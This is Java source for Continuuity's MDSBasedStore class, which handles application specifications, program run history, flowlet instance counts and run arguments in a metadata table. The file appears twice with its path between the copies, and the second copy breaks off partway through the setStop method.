import com.continuuity.app.program.RunRecord;
import com.continuuity.app.program.Type;
import com.continuuity.app.store.Store;
import com.continuuity.archive.ArchiveBundler;
import com.continuuity.common.conf.CConfiguration;
import com.continuuity.common.conf.Constants;
import com.continuuity.data.operation.OperationContext;
import com.continuuity.internal.app.ApplicationSpecificationAdapter;
import com.continuuity.internal.app.ForwardingApplicationSpecification;
import com.continuuity.internal.app.ForwardingFlowSpecification;
import com.continuuity.internal.app.program.ProgramBundle;
import com.continuuity.internal.io.ReflectionSchemaGenerator;
import com.continuuity.metadata.MetaDataEntry;
import com.continuuity.metadata.MetaDataStore;
import com.continuuity.metadata.MetaDataTable;
import com.continuuity.metadata.MetadataServiceException;
import com.continuuity.weave.filesystem.Location;
import com.continuuity.weave.filesystem.LocationFactory;
import com.google.common.base.Preconditions;
import com.google.common.base.Throwables;
import com.google.common.collect.ImmutableTable;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import com.google.common.collect.Table;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import com.google.inject.Inject;
import org.apache.thrift.TException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.util.Comparator;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
/**
* Implementation of the Store that ultimately places data into
* MetaDataTable (thru MetaDataStore or directly).
*/
public class MDSBasedStore implements Store {
private static final Logger LOG
= LoggerFactory.getLogger(MDSBasedStore.class);
private static final RunRecordComparator PROGRAM_RUN_RECORD_START_TIME_COMPARATOR =
new RunRecordComparator();
/**
* Helper class.
*/
private final MetadataServiceHelper metadataServiceHelper;
private final LocationFactory locationFactory;
private final CConfiguration configuration;
private final Gson gson;
/**
* We use metaDataTable directly to store user actions history.
*/
private MetaDataTable metaDataTable;
@Inject
public MDSBasedStore(CConfiguration configuration,
MetaDataTable metaDataTable,
MetaDataStore metaDataStore,
LocationFactory locationFactory) {
this.metaDataTable = metaDataTable;
this.metadataServiceHelper = new MetadataServiceHelper(metaDataStore);
this.locationFactory = locationFactory;
this.configuration = configuration;
gson = new Gson();
}
/**
* Loads a given program.
*
* @param id of the program
* @param type of program
* @return An instance of {@link Program} if found.
* @throws IOException
*/
@Override
public Program loadProgram(Id.Program id, Type type) throws IOException {
try {
MetaDataEntry entry = metaDataTable.get(new OperationContext(id.getAccountId()), id.getAccountId(),
null, FieldTypes.Application.ENTRY_TYPE, id.getApplicationId());
Preconditions.checkNotNull(entry);
String specTimestamp = entry.getTextField(FieldTypes.Application.TIMESTAMP);
Preconditions.checkNotNull(specTimestamp);
Location programLocation = getProgramLocation(id, type);
Preconditions.checkArgument(Long.parseLong(specTimestamp) >= programLocation.lastModified(),
"Newer program update time than the specification update time. " +
"Application must be redeployed");
return Programs.create(programLocation);
} catch (OperationException e){
throw new IOException(e);
}
}
/**
* @return The {@link Location} of the given program.
* @throws RuntimeException if program can't be found.
*/
private Location getProgramLocation(Id.Program id, Type type) throws IOException {
String appFabricOutputDir = configuration.get(Constants.AppFabric.OUTPUT_DIR,
System.getProperty("java.io.tmpdir"));
return Programs.programLocation(locationFactory, appFabricOutputDir, id, type);
}
/**
* Logs start of program run.
*
* @param id Info about program
* @param pid run id
* @param startTime start timestamp
*/
@Override
public void setStart(Id.Program id, final String pid, final long startTime) {
// Create a temp entry that is keyed by accountId, applicationId and program run id.
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE, pid);
entry.addField(FieldTypes.ProgramRun.PROGRAM, id.getId());
entry.addField(FieldTypes.ProgramRun.START_TS, String.valueOf(startTime));
OperationContext context = new OperationContext(id.getAccountId());
// perform insert, no conflict resolution
try {
metaDataTable.add(context, entry, false);
} catch (OperationException e) {
throw Throwables.propagate(e);
}
}
/**
* Logs end of program run.
*
* @param id id of program
* @param pid program run id
* @param endTime end timestamp
* @param state State of program
*/
@Override
public void setStop(Id.Program id, final String pid, final long endTime, final String state) {
Preconditions.checkArgument(state != null, "End state of program run should be defined");
OperationContext context = new OperationContext(id.getAccountId());
// During setStop the following actions are performed
// 1. Read the temp entry that is keyed by accountId, applicationId and program run id.
// 2. Add a new entry that is keyed by accountId, applicationId, ProgramId:ReverseTimestamp:ProgramRunId
// - This is done so that the program history can be scanned by reverse chronological order.
// 3. Delete the temp entry that was created during start - since we no longer read the entry that is keyed
// only by runId during program history lookup.
try {
//Read the metadata entry that is keyed of accountId, applicationId, program run id.
MetaDataEntry entry = metaDataTable.get(context, id.getAccountId(),
id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE,
pid);
Preconditions.checkNotNull(entry);
String startTime = entry.getTextField(FieldTypes.ProgramRun.START_TS);
Preconditions.checkNotNull(startTime);
String timestampedProgramId = getTimestampedId(id.getId(), pid, Long.MAX_VALUE - Long.parseLong(startTime));
//update new entry that is ordered by time.
MetaDataEntry timeStampedEntry = new MetaDataEntry(id.getAccountId(),
id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE,
timestampedProgramId);
timeStampedEntry.addField(FieldTypes.ProgramRun.START_TS, startTime);
timeStampedEntry.addField(FieldTypes.ProgramRun.END_TS, String.valueOf(endTime));
timeStampedEntry.addField(FieldTypes.ProgramRun.END_STATE, state);
timeStampedEntry.addField(FieldTypes.ProgramRun.RUN_ID, pid);
metaDataTable.add(context, timeStampedEntry);
//delete the entry with pid as one of the column values.
metaDataTable.delete(context, id.getAccountId(), id.getApplicationId(), FieldTypes.ProgramRun.ENTRY_TYPE, pid);
try {
//delete old history data and ignore exceptions since it will be cleaned up in the next run.
deleteOlderMetadataHistory(context, id);
} catch (OperationException e) {
LOG.warn("Operation exception while deleting older run history with pid {}", pid, e);
}
} catch (OperationException e) {
throw Throwables.propagate(e);
}
}
@Override
public List<RunRecord> getRunHistory(final Id.Program id, final long startTime, final long endTime, int limit)
throws OperationException {
OperationContext context = new OperationContext(id.getAccountId());
List<MetaDataEntry> entries = metaDataTable.list(context,
id.getAccountId(),
id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE,
getTimestampedId(id.getId(), startTime),
getTimestampedId(id.getId(), endTime),
limit);
List<RunRecord> runHistory = Lists.newArrayList();
for (MetaDataEntry entry : entries) {
String endTsStr = entry.getTextField(FieldTypes.ProgramRun.END_TS);
String runId = entry.getTextField(FieldTypes.ProgramRun.RUN_ID);
runHistory.add(new RunRecord(runId,
Long.valueOf(entry.getTextField(FieldTypes.ProgramRun.START_TS)),
Long.valueOf(endTsStr),
entry.getTextField(FieldTypes.ProgramRun.END_STATE)));
}
return runHistory;
}
@Override
public Table<Type, Id.Program, List<RunRecord>> getAllRunHistory(Id.Account account) throws OperationException {
OperationContext context = new OperationContext(account.getId());
LOG.trace("Removing all applications of account with id: {}", account.getId());
List<MetaDataEntry> applications =
metaDataTable.list(context, account.getId(), null, FieldTypes.Application.ENTRY_TYPE, null);
ApplicationSpecificationAdapter adapter = ApplicationSpecificationAdapter.create();
ImmutableTable.Builder<Type, Id.Program, List<RunRecord>> builder = ImmutableTable.builder();
for (MetaDataEntry entry : applications) {
ApplicationSpecification appSpec = adapter.fromJson(entry.getTextField(FieldTypes.Application.SPEC_JSON));
for (FlowSpecification flowSpec : appSpec.getFlows().values()) {
Id.Program programId = Id.Program.from(account.getId(), appSpec.getName(), flowSpec.getName());
List<RunRecord> runRecords = getRunRecords(programId);
builder.put(Type.FLOW, programId, runRecords);
}
for (ProcedureSpecification procedureSpec : appSpec.getProcedures().values()) {
Id.Program programId = Id.Program.from(account.getId(), appSpec.getName(), procedureSpec.getName());
List<RunRecord> runRecords = getRunRecords(programId);
builder.put(Type.PROCEDURE, programId, runRecords);
}
}
return builder.build();
}
private List<RunRecord> getRunRecords(Id.Program programId) throws OperationException {
return getRunRecords(programId, Integer.MAX_VALUE);
}
private List<RunRecord> getRunRecords(Id.Program programId, int limit) throws OperationException {
List<RunRecord> runRecords = Lists.newArrayList();
for (RunRecord runRecord : getRunHistory(programId, limit)) {
runRecords.add(runRecord);
}
return runRecords;
}
private List<RunRecord> getRunHistory(Id.Program programId, int limit) throws OperationException {
return getRunHistory(programId, Long.MIN_VALUE, Long.MAX_VALUE, limit);
}
/**
* Compares RunRecord using their start time.
*/
private static final class RunRecordComparator implements Comparator<RunRecord> {
@Override
public int compare(final RunRecord left, final RunRecord right) {
if (left.getStartTs() > right.getStartTs()) {
return 1;
} else {
return left.getStartTs() < right.getStartTs() ? -1 : 0;
}
}
}
@Override
public void addApplication(final Id.Application id,
final ApplicationSpecification spec, Location appArchiveLocation)
throws OperationException {
long updateTime = System.currentTimeMillis();
storeAppToArchiveLocationMapping(id, appArchiveLocation);
storeAppSpec(id, spec, updateTime);
}
private void storeAppToArchiveLocationMapping(Id.Application id, Location appArchiveLocation)
throws OperationException {
// there always be an entry for application
LOG.trace("Updating id to app archive location mapping: app id: {}, app location: {}",
id.getId(), appArchiveLocation.toURI());
OperationContext context = new OperationContext(id.getAccountId());
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId());
if (existing == null) {
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE, id.getId());
entry.addField(FieldTypes.Application.ARCHIVE_LOCATION, appArchiveLocation.toURI().getPath());
metaDataTable.add(context, entry);
} else {
metaDataTable.updateField(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId(),
FieldTypes.Application.ARCHIVE_LOCATION, appArchiveLocation.toURI().getPath(), -1);
}
LOG.trace("Updated id to app archive location mapping: app id: {}, app location: {}",
id.getId(), appArchiveLocation.toURI());
}
private void storeAppSpec(Id.Application id, ApplicationSpecification spec, long timestamp)
throws OperationException {
ApplicationSpecificationAdapter adapter =
ApplicationSpecificationAdapter.create(new ReflectionSchemaGenerator());
String jsonSpec = adapter.toJson(spec);
OperationContext context = new OperationContext(id.getAccountId());
LOG.trace("Application being stored: id: {}: spec: {}", id.getId(), jsonSpec);
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId());
if (existing == null) {
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE, id.getId());
entry.addField(FieldTypes.Application.SPEC_JSON, jsonSpec);
entry.addField(FieldTypes.Application.TIMESTAMP, Long.toString(timestamp));
metaDataTable.add(context, entry);
LOG.trace("Added application to mds: id: {}, spec: {}", id.getId(), jsonSpec);
} else {
LOG.trace("Application exists in mds: id: {}, spec: {}", id.getId(),
existing.getTextField(FieldTypes.Application.SPEC_JSON));
metaDataTable.updateField(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId(),
FieldTypes.Application.SPEC_JSON, jsonSpec, -1);
metaDataTable.updateField(context, id.getAccountId(), null,
FieldTypes.Application.ENTRY_TYPE, id.getId(),
FieldTypes.Application.TIMESTAMP, Long.toString(timestamp), -1);
LOG.trace("Updated application in mds: id: {}, spec: {}", id.getId(), jsonSpec);
}
// hack hack hack: time constraints. See details in metadataServiceHelper javadoc
metadataServiceHelper.updateInMetadataService(id, spec);
}
@Override
public void setFlowletInstances(final Id.Program id, final String flowletId, int count)
throws OperationException {
Preconditions.checkArgument(count > 0, "cannot change number of flowlet instances to negative number: " + count);
long timestamp = System.currentTimeMillis();
LOG.trace("Setting flowlet instances: account: {}, application: {}, flow: {}, flowlet: {}, new instances count: {}",
id.getAccountId(), id.getApplicationId(), id.getId(), flowletId, count);
ApplicationSpecification newAppSpec = setFlowletInstancesInAppSpecInMDS(id, flowletId, count, timestamp);
replaceAppSpecInProgramJar(id, newAppSpec, Type.FLOW);
LOG.trace("Set flowlet instances: account: {}, application: {}, flow: {}, flowlet: {}, instances now: {}",
id.getAccountId(), id.getApplicationId(), id.getId(), flowletId, count);
}
/**
* Gets number of instances of specific flowlet.
*
* @param id flow id
* @param flowletId flowlet id
* @throws com.continuuity.api.data.OperationException
*
*/
@Override
public int getFlowletInstances(Id.Program id, String flowletId) throws OperationException {
ApplicationSpecification appSpec = getAppSpecSafely(id);
FlowSpecification flowSpec = getFlowSpecSafely(id, appSpec);
FlowletDefinition flowletDef = getFlowletDefinitionSafely(flowSpec, flowletId, id);
return flowletDef.getInstances();
}
private ApplicationSpecification setFlowletInstancesInAppSpecInMDS(Id.Program id, String flowletId,
int count, long timestamp)
throws OperationException {
ApplicationSpecification appSpec = getAppSpecSafely(id);
FlowSpecification flowSpec = getFlowSpecSafely(id, appSpec);
FlowletDefinition flowletDef = getFlowletDefinitionSafely(flowSpec, flowletId, id);
final FlowletDefinition adjustedFlowletDef = new FlowletDefinition(flowletDef, count);
ApplicationSpecification newAppSpec = replaceFlowletInAppSpec(appSpec, id, flowSpec, adjustedFlowletDef);
storeAppSpec(id.getApplication(), newAppSpec, timestamp);
return newAppSpec;
}
private void replaceAppSpecInProgramJar(Id.Program id, ApplicationSpecification appSpec, Type type) {
Location programLocation;
try {
programLocation = getProgramLocation(id, Type.FLOW);
} catch (IOException e) {
throw Throwables.propagate(e);
}
ArchiveBundler bundler = new ArchiveBundler(programLocation);
String className = appSpec.getFlows().get(id.getId()).getClassName();
try {
Location tmpProgramLocation = programLocation.getTempFile("");
try {
ProgramBundle.create(id.getApplication(), bundler, tmpProgramLocation, id.getId(), className, type, appSpec);
Location movedTo = tmpProgramLocation.renameTo(programLocation);
if (movedTo == null) {
throw new RuntimeException("Could not replace program jar with the one with updated app spec, " +
"original program file: " + programLocation.toURI() +
", was trying to replace with file: " + tmpProgramLocation.toURI());
}
} finally {
if (tmpProgramLocation != null && tmpProgramLocation.exists()) {
tmpProgramLocation.delete();
}
}
} catch (IOException e) {
throw Throwables.propagate(e);
}
}
private FlowletDefinition getFlowletDefinitionSafely(FlowSpecification flowSpec, String flowletId, Id.Program id) {
FlowletDefinition flowletDef = flowSpec.getFlowlets().get(flowletId);
if (flowletDef == null) {
throw new IllegalArgumentException("no such flowlet @ account id: " + id.getAccountId() +
", app id: " + id.getApplication() +
", flow id: " + id.getId() +
", flowlet id: " + id.getId());
}
return flowletDef;
}
private FlowSpecification getFlowSpecSafely(Id.Program id, ApplicationSpecification appSpec) {
FlowSpecification flowSpec = appSpec.getFlows().get(id.getId());
if (flowSpec == null) {
throw new IllegalArgumentException("no such flow @ account id: " + id.getAccountId() +
", app id: " + id.getApplication() +
", flow id: " + id.getId());
}
return flowSpec;
}
@Override
public void remove(Id.Program id) throws OperationException {
LOG.trace("Removing program: account: {}, application: {}, program: {}", id.getAccountId(), id.getApplicationId(),
id.getId());
long timestamp = System.currentTimeMillis();
ApplicationSpecification appSpec = getAppSpecSafely(id);
ApplicationSpecification newAppSpec = removeProgramFromAppSpec(appSpec, id);
storeAppSpec(id.getApplication(), newAppSpec, timestamp);
// we don't know the type of the program so we'll try to remove any of Flow, Procedure or Mapreduce
StringBuilder errorMessage = new StringBuilder(
String.format("Removing program: account: %s, application: %s, program: %s. Trying every type of program... ",
id.getAccountId(), id.getApplicationId(), id.getId()));
// Unfortunately with current MDS there's no way to say if we deleted anything. So we'll just rely on "no errors in
// all attempts means we deleted smth". And yes, we show only latest error. And yes, we have to try remove
// every type.
MetadataServiceException error;
try {
metadataServiceHelper.deleteFlow(id);
error = null;
} catch (MetadataServiceException e) {
error = e;
LOG.warn(
String.format("Error while trying to remove program (account: %s, application: %s, program: %s) as flow ",
id.getAccountId(), id.getApplicationId(), id.getId()),
e);
errorMessage.append("Could not remove as Flow (").append(e.getMessage()).append(")...");
}
try {
metadataServiceHelper.deleteQuery(id);
error = null;
} catch (MetadataServiceException e) {
if (error != null) {
error = e;
}
LOG.warn(
String.format("Error while trying to remove program (account: %s, application: %s, program: %s) as query ",
id.getAccountId(), id.getApplicationId(), id.getId()),
e);
errorMessage.append("Could not remove as Procedure (").append(e.getMessage()).append(")...");
}
try {
metadataServiceHelper.deleteMapReduce(id);
error = null;
} catch (MetadataServiceException e) {
if (error != null) {
error = e;
}
LOG.warn(
String.format("Error while trying to remove program (account: %s, application: %s, program: %s) as mapreduce ",
id.getAccountId(), id.getApplicationId(), id.getId()),
e);
errorMessage.append("Could not remove as Mapreduce (").append(e.getMessage()).append(")");
}
if (error != null) {
throw new OperationException(StatusCode.ENTRY_NOT_FOUND, errorMessage.toString(), error);
}
}
@Override
public ApplicationSpecification removeApplication(Id.Application id) throws OperationException {
LOG.trace("Removing application: account: {}, application: {}", id.getAccountId(), id.getId());
ApplicationSpecification appSpec = getApplication(id);
Preconditions.checkNotNull(appSpec, "No such application: %s", id.getId());
removeApplicationFromAppSpec(id.getAccount(), appSpec);
return appSpec;
}
@Override
public void removeAllApplications(Id.Account id) throws OperationException {
OperationContext context = new OperationContext(id.getId());
LOG.trace("Removing all applications of account with id: {}", id.getId());
List<MetaDataEntry> applications =
metaDataTable.list(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, null);
ApplicationSpecificationAdapter adapter = ApplicationSpecificationAdapter.create();
for (MetaDataEntry entry : applications) {
removeApplicationFromAppSpec(id, adapter.fromJson(entry.getTextField(FieldTypes.Application.SPEC_JSON)));
}
}
@Override
public void removeAll(Id.Account id) throws OperationException {
OperationContext context = new OperationContext(id.getId());
LOG.trace("Removing all metadata of account with id: {}", id.getId());
List<MetaDataEntry> applications =
metaDataTable.list(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, null);
// removing apps
for (MetaDataEntry entry : applications) {
metaDataTable.delete(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, entry.getId());
}
try {
metadataServiceHelper.deleteAll(id);
} catch (TException e) {
throw Throwables.propagate(e);
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
@Override
public void storeRunArguments(Id.Program id, Map<String, String> arguments) throws OperationException {
OperationContext context = new OperationContext(id.getId());
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId());
if (existing == null) {
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId());
entry.addField(FieldTypes.ProgramRun.ENTRY_TYPE, gson.toJson(arguments));
metaDataTable.add(context, entry);
LOG.trace("Added run time arguments to mds: id: {}, app: {}, prog: {} ", id.getAccountId(),
id.getApplicationId(), id.getId());
} else {
LOG.trace("Run time args exists in mds: id: {}, app: {}, prog: {}", id.getAccountId(),
id.getApplicationId(), id.getId());
metaDataTable.updateField(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId(),
FieldTypes.ProgramRun.ENTRY_TYPE, gson.toJson(arguments), -1);
LOG.trace("Updated application in mds: id: {}, app: {}, prog: {}", id.getId(),
id.getApplicationId(), id.getId());
}
}
@Override
public Map<String, String> getRunArguments(Id.Program id) throws OperationException {
OperationContext context = new OperationContext(id.getId());
MetaDataEntry existing = metaDataTable.get(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ARGS, id.getId());
Map<String, String> args = Maps.newHashMap();
if (existing != null) {
java.lang.reflect.Type type = new TypeToken<Map<String, String>>(){}.getType();
args = gson.fromJson(existing.getTextField(FieldTypes.ProgramRun.ENTRY_TYPE), type);
}
return args;
}
private void removeAllProceduresFromMetadataStore(Id.Account id, ApplicationSpecification appSpec)
throws OperationException {
for (ProcedureSpecification procedure : appSpec.getProcedures().values()) {
try {
metadataServiceHelper.deleteQuery(Id.Program.from(id.getId(), appSpec.getName(), procedure.getName()));
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
}
private void removeAllFlowsFromMetadataStore(Id.Account id, ApplicationSpecification appSpec)
throws OperationException {
for (FlowSpecification flow : appSpec.getFlows().values()) {
try {
metadataServiceHelper.deleteFlow(Id.Program.from(id.getId(), appSpec.getName(), flow.getName()));
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
}
private void removeAllMapreducesFromMetadataStore(Id.Account id, ApplicationSpecification appSpec)
throws OperationException {
for (MapReduceSpecification mrSpec : appSpec.getMapReduces().values()) {
try {
metadataServiceHelper.deleteMapReduce(Id.Program.from(id.getId(), appSpec.getName(), mrSpec.getName()));
} catch (MetadataServiceException e) {
throw Throwables.propagate(e);
}
}
}
private void removeApplicationFromAppSpec(Id.Account id, ApplicationSpecification appSpec) throws OperationException {
OperationContext context = new OperationContext(id.getId());
removeAllFlowsFromMetadataStore(id, appSpec);
removeAllMapreducesFromMetadataStore(id, appSpec);
removeAllProceduresFromMetadataStore(id, appSpec);
metaDataTable.delete(context, id.getId(), null, FieldTypes.Application.ENTRY_TYPE, appSpec.getName());
// make sure to also delete the "application" entry of MDS (by-passing MDS here). this will go away with MDS
metadataServiceHelper.deleteApplication(id.getId(), appSpec.getName());
}
private ApplicationSpecification getAppSpecSafely(Id.Program id) throws OperationException {
ApplicationSpecification appSpec = getApplication(id.getApplication());
if (appSpec == null) {
throw new IllegalArgumentException("no such application @ account id: " + id.getAccountId() +
", app id: " + id.getApplication().getId());
}
return appSpec;
}
private ApplicationSpecification replaceFlowletInAppSpec(final ApplicationSpecification appSpec,
final Id.Program id,
final FlowSpecification flowSpec,
final FlowletDefinition adjustedFlowletDef) {
// as app spec is immutable we have to do this trick
return replaceFlowInAppSpec(appSpec, id, new ForwardingFlowSpecification(flowSpec) {
@Override
public Map<String, FlowletDefinition> getFlowlets() {
Map<String, FlowletDefinition> flowlets = Maps.newHashMap(super.getFlowlets());
flowlets.put(adjustedFlowletDef.getFlowletSpec().getName(), adjustedFlowletDef);
return flowlets;
}
});
}
private ApplicationSpecification replaceFlowInAppSpec(final ApplicationSpecification appSpec, final Id.Program id,
final FlowSpecification newFlowSpec) {
// as app spec is immutable we have to do this trick
return new ForwardingApplicationSpecification(appSpec) {
@Override
public Map<String, FlowSpecification> getFlows() {
Map<String, FlowSpecification> flows = Maps.newHashMap(super.getFlows());
flows.put(id.getId(), newFlowSpec);
return flows;
}
};
}
private ApplicationSpecification removeProgramFromAppSpec(final ApplicationSpecification appSpec,
final Id.Program id) {
// we try to remove from both procedures and flows as both of them are "programs"
// this somewhat ugly api dictated by old UI
return new ForwardingApplicationSpecification(appSpec) {
@Override
public Map<String, FlowSpecification> getFlows() {
Map<String, FlowSpecification> flows = Maps.newHashMap(super.getFlows());
flows.remove(id.getId());
return flows;
}
@Override
public Map<String, ProcedureSpecification> getProcedures() {
Map<String, ProcedureSpecification> procedures = Maps.newHashMap(super.getProcedures());
procedures.remove(id.getId());
return procedures;
}
@Override
public Map<String, MapReduceSpecification> getMapReduces() {
Map<String, MapReduceSpecification> procedures = Maps.newHashMap(super.getMapReduces());
procedures.remove(id.getId());
return procedures;
}
};
}
@Override
public ApplicationSpecification getApplication(final Id.Application id) throws OperationException {
OperationContext context = new OperationContext(id.getAccountId());
MetaDataEntry entry = metaDataTable.get(context, id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE,
id.getId());
if (entry == null) {
return null;
}
ApplicationSpecificationAdapter adapter = ApplicationSpecificationAdapter.create();
return adapter.fromJson(entry.getTextField(FieldTypes.Application.SPEC_JSON));
}
@Override
public Location getApplicationArchiveLocation(Id.Application id) throws OperationException {
OperationContext context = new OperationContext(id.getAccountId());
MetaDataEntry entry = metaDataTable.get(context, id.getAccountId(), null, FieldTypes.Application.ENTRY_TYPE,
id.getId());
if (entry == null) {
return null;
}
return locationFactory.create(entry.getTextField(FieldTypes.Application.ARCHIVE_LOCATION));
}
private String getTimestampedId(String id, long timestamp) {
return String.format("%s:%d", id, timestamp);
}
private String getTimestampedId(String id, String pid, long timestamp) {
return String.format("%s:%d:%s", id, timestamp, pid);
}
//delete history for older dates
private void deleteOlderMetadataHistory(OperationContext context, Id.Program id) throws OperationException {
//delete stale history
// Delete all entries that are greater than RUN_HISTORY_KEEP_DAYS to Long.MAX_VALUE
int historyKeepDays = configuration.getInt(Constants.CFG_RUN_HISTORY_KEEP_DAYS,
Constants.DEFAULT_RUN_HISTORY_KEEP_DAYS);
long deleteStartTime = TimeUnit.SECONDS.convert(System.currentTimeMillis(), TimeUnit.MILLISECONDS) -
(historyKeepDays * 24 * 60 * 60L);
String deleteStartKey = getTimestampedId(id.getId(), Long.MAX_VALUE - deleteStartTime);
String deleteStopKey = getTimestampedId(id.getId(), Long.MAX_VALUE);
List<MetaDataEntry> entries = metaDataTable.list(context, id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE, deleteStartKey,
deleteStopKey, Integer.MAX_VALUE);
if (entries.size() > 0) {
metaDataTable.delete(id.getAccountId(), entries);
}
}
}
| app-fabric/src/main/java/com/continuuity/internal/app/store/MDSBasedStore.java | /*
* Copyright 2012-2013 Continuuity,Inc. All Rights Reserved.
*/
package com.continuuity.internal.app.store;
import com.continuuity.api.ApplicationSpecification;
import com.continuuity.api.batch.MapReduceSpecification;
import com.continuuity.api.data.OperationException;
import com.continuuity.api.data.StatusCode;
import com.continuuity.api.flow.FlowSpecification;
import com.continuuity.api.flow.FlowletDefinition;
import com.continuuity.api.procedure.ProcedureSpecification;
import com.continuuity.app.Id;
import com.continuuity.app.program.Program;
import com.continuuity.app.program.Programs;
import com.continuuity.app.program.RunRecord;
import com.continuuity.app.program.Type;
import com.continuuity.app.store.Store;
import com.continuuity.archive.ArchiveBundler;
import com.continuuity.common.conf.CConfiguration;
import com.continuuity.common.conf.Constants;
import com.continuuity.data.operation.OperationContext;
import com.continuuity.internal.app.ApplicationSpecificationAdapter;
import com.continuuity.internal.app.ForwardingApplicationSpecification;
import com.continuuity.internal.app.ForwardingFlowSpecification;
import com.continuuity.internal.app.program.ProgramBundle;
import com.continuuity.internal.io.ReflectionSchemaGenerator;
import com.continuuity.metadata.MetaDataEntry;
import com.continuuity.metadata.MetaDataStore;
import com.continuuity.metadata.MetaDataTable;
import com.continuuity.metadata.MetadataServiceException;
import com.continuuity.weave.filesystem.Location;
import com.continuuity.weave.filesystem.LocationFactory;
import com.google.common.base.Preconditions;
import com.google.common.base.Throwables;
import com.google.common.collect.ImmutableTable;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import com.google.common.collect.Table;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import com.google.inject.Inject;
import org.apache.thrift.TException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.util.Comparator;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
/**
* Implementation of the Store that ultimately places data into
* MetaDataTable (thru MetaDataStore or directly).
*/
public class MDSBasedStore implements Store {
private static final Logger LOG
= LoggerFactory.getLogger(MDSBasedStore.class);
private static final RunRecordComparator PROGRAM_RUN_RECORD_START_TIME_COMPARATOR =
new RunRecordComparator();
/**
* Helper class.
*/
private final MetadataServiceHelper metadataServiceHelper;
private final LocationFactory locationFactory;
private final CConfiguration configuration;
private final Gson gson;
/**
* We use metaDataTable directly to store user actions history.
*/
private MetaDataTable metaDataTable;
@Inject
public MDSBasedStore(CConfiguration configuration,
MetaDataTable metaDataTable,
MetaDataStore metaDataStore,
LocationFactory locationFactory) {
this.metaDataTable = metaDataTable;
this.metadataServiceHelper = new MetadataServiceHelper(metaDataStore);
this.locationFactory = locationFactory;
this.configuration = configuration;
gson = new Gson();
}
/**
* Loads a given program.
*
* @param id of the program
* @param type of program
* @return An instance of {@link Program} if found.
* @throws IOException
*/
@Override
public Program loadProgram(Id.Program id, Type type) throws IOException {
try {
MetaDataEntry entry = metaDataTable.get(new OperationContext(id.getAccountId()), id.getAccountId(),
null, FieldTypes.Application.ENTRY_TYPE, id.getApplicationId());
Preconditions.checkNotNull(entry);
String specTimestamp = entry.getTextField(FieldTypes.Application.TIMESTAMP);
Preconditions.checkNotNull(specTimestamp);
Location programLocation = getProgramLocation(id, type);
Preconditions.checkArgument(Long.parseLong(specTimestamp) >= programLocation.lastModified(),
"Newer program update time than the specification update time. " +
"Application must be redeployed");
return Programs.create(programLocation);
} catch (OperationException e){
throw new IOException(e);
}
}
/**
* @return The {@link Location} of the given program.
* @throws RuntimeException if program can't be found.
*/
private Location getProgramLocation(Id.Program id, Type type) throws IOException {
String appFabricOutputDir = configuration.get(Constants.AppFabric.OUTPUT_DIR,
System.getProperty("java.io.tmpdir"));
return Programs.programLocation(locationFactory, appFabricOutputDir, id, type);
}
/**
* Logs start of program run.
*
* @param id Info about program
* @param pid run id
* @param startTime start timestamp
*/
@Override
public void setStart(Id.Program id, final String pid, final long startTime) {
// Create a temp entry that is keyed by accountId, applicationId and program run id.
MetaDataEntry entry = new MetaDataEntry(id.getAccountId(), id.getApplicationId(),
FieldTypes.ProgramRun.ENTRY_TYPE, pid);
entry.addField(FieldTypes.ProgramRun.PROGRAM, id.getId());
entry.addField(FieldTypes.ProgramRun.START_TS, String.valueOf(startTime));
OperationContext context = new OperationContext(id.getAccountId());
// perform insert, no conflict resolution
try {
metaDataTable.add(context, entry, false);
} catch (OperationException e) {
throw Throwables.propagate(e);
}
}
/**
* Logs end of program run.
*
* @param id id of program
* @param pid run id
* @param endTime end timestamp
* @param state State of program
*/
@Override
public void setStop(Id.Program id, final String pid, final long endTime, final String state) {
Preconditions.checkArgument(state != null, "End state of program run should be defined");
OperationContext context = new OperationContext(id.getAccountId());
// During setStop the following actions are performed
// 1. Read the temp entry that is keyed by accountId, applicationId and program run id.
// 2. Add a new entry that is keyed by accountId, applicationId, ProgramId:ReverseTimestamp:ProgramRunId
// - This is done so that the program history can be scanned by reverse chronological order.
// 3. Delete the temp entry that was created during start - since we no longer read the entry that is keyed
// only by runId during program history lookup.
try {
//Read the metadata entry that is keyed of accountId, applicationId, program run id.
